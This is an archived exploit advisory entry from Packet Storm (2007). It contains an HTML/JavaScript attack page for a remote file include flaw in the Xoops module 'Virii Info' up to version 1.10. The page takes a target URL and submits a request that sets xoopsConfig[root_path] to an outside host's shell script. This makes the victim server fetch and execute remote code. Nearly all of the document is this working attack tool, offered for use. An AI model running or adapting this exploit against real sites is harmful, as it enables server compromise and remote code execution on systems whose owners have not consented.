xoopsvirii-rfi.txt

2007-04-03T00:00:00
ID PACKETSTORM:55540
Type packetstorm
Reporter ajann
Modified 2007-04-03T00:00:00

Description

                                        
                                            `<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">  
<title>Xoops Module Virii Info <= 1.10 (index.php) Remote File Include Exploit</title>  
  
<script language="JavaScript">  
  
//'===============================================================================================  
//'[Script Name: Xoops Module Virii Info <= 1.10 (index.php) Remote File Include Exploit  
//'[Coded by : ajann  
//'[Author : ajann  
//'[Contact : :(  
//'[S.Page : http://www.xoops.sytes.net/  
//'[$$ : Free  
//'[Using : Write Target after Submit Click  
//'===============================================================================================  
  
//'[[ERROR]]]------------------------------------------------------  
//'....  
//'..  
//'<?  
//'  
//'include_once($xoopsConfig['root_path']."class/xoopsmodule.php");  
//'include_once($xoopsConfig['root_path']."class/xoopsgroup.php");  
//'  
//'?>  
//'....  
//'..  
//'[[ERROR]]]---------------------------------------------------------  
  
//# ajann,Turkey  
//# ...  
  
  
//Basic exploit,but any time : (   
var path="/modules/virii/"  
var adres="/index.php?" //File name  
var acik ="xoopsConfig[root_path]=" // Line x  
var shell="http://www.smartcarsint.com/includes/57.txt?" // Shell Script  
  
function command(){  
if (document.rfi.target1.value==""){  
alert("Failed..");  
return false;  
}  
  
  
  
rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )  
rfi.submit(); // Form Submit  
}  
</script>  
  
</head>  
  
<body bgcolor="#000000">  
<center>  
  
<p><b><font face="Verdana" size="2" color="#008000">Xoops Module Virii Info <= 1.10 (index.php) Remote File Include Exploit</font></b></p>  
  
<p></p>  
<form method="post" target="getting" name="rfi" onSubmit="command();">  
<b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">  
</font><font color="#FF0000" size="2"> </font></b>  
<input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>  
<p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>  
</form>  
<p><br>  
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>  
</p>  
  
<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>  
</center>  
</body>  
  
</html>  
  
`